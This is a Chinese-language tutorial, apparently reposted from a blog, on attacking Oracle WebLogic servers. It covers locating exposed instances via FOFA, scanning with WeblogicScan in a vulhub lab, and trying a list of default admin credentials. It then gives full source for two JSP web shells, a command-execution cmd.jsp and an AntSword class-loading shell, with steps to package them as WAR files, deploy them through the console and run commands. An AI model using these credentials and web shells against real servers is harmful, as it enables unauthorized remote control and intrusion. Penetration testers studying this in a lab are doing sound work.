Weblogic漏洞
- 预备知识
中间件定义:中间件(middleware)是基础软件的一大类,属于可复用软件的范畴。顾名思义,中间件处于操作系统软件与用户的应用软件的中间。
中间件在操作系统、网络和数据库之上,应用软件的下层,总的作用是为处于自己上层的应用软件提供运行与开发的环境,帮助用户灵活、高效地开发和集成复杂的应用软件
weblogic简介
weblogic是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,确切来说是一个基于JavaEE框架的中间件,它提供了一个现代轻型开饭平台,用于开发,集成,部署和管理大型分布式web应用,网络应用和数据库应用的java应用服务器。将加吧的动态功能和java entrprise标准的安全性引入大型网络应用的开发,集成,部署和管理之中。
Weblogic特征
- 默认端口:7001
- web界面:Error 404–Not Found
- 控制后台:http://ip:7001/console
Weblogic历史漏洞发现
1.获取资产
shodan, fofa, zoomeye等
fofa : app=“BEA-Weblogic-Server”
2. 批量扫描脚本
- WeblogicScan
https://github.com/rabbitmask/WeblogicScan
下载压缩包解压,文件夹中的weblogicscan.py是需要在终端运行的文件
第一步需要执行的命令(安装依赖包):python -m pip install -r requirements.txt
3. Weblogic漏洞环境搭建
docker pull vulhub/weblogic:10.3.6.0-2017
docker run -dit -p 7001:7001 vulhub/weblogic:10.3.6.0-2017
4. 扫描靶机
python WeblogicScan.py -u 192.168.1.149 -p 7001
工具已经扫描出所有的weblogic的漏洞
使用浏览器访问界面
Weblogic历史漏洞利用
1.weblogic弱口令
账号:weblogic
密码:Oracle@123
Weblogic 默认口令:https://cirt.net/passwords?criteria=weblogic
- system/password
- weblogic/weblogic
- admin/security
- joe/password
- mary/password
- system/security
- wlcsystem/wlcsystem
- wlpisystem/wlpisystem
- cmd.jsp
<%@ page import=“java.io.*” %> <% String cmd =
request.getParameter(“cmd”); String output = “”; if(cmd !=
null) { String s = null; try { Process p =
Runtime.getRuntime().exec(cmd); BufferedReader sI = new
BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s +“\r\n”; } }
catch(IOException e) { e.printStackTrace(); } }
out.println(output);%>
2. 命令打包war包
jar -cvf cmd.war cmd.jsp
3.部署war包
登录后台,选择部署,进入如下见面
上传war包之后,一直下一步就可以完成war包的部署
4. GetShell
完成前面的操作后在浏览器上访问
http://192.168.1.149:7001/cmd/cmd.jsp?cmd=ls
war包用法
cmd.jsp?cmd=需要执行的命令
- 例如查看系统当前用户
当前上传的脚本war包是简单脚本,无法连接蚁剑去管理
4.1 蚁剑-jsp4ant.jsp
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("ant");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
同理生成war包上传部署
- 使用蚁剑连接
文章来源:https://www.toymoban.com/news/detail-403880.html
文章来源地址https://www.toymoban.com/news/detail-403880.html
到了这里,关于Weblogic漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!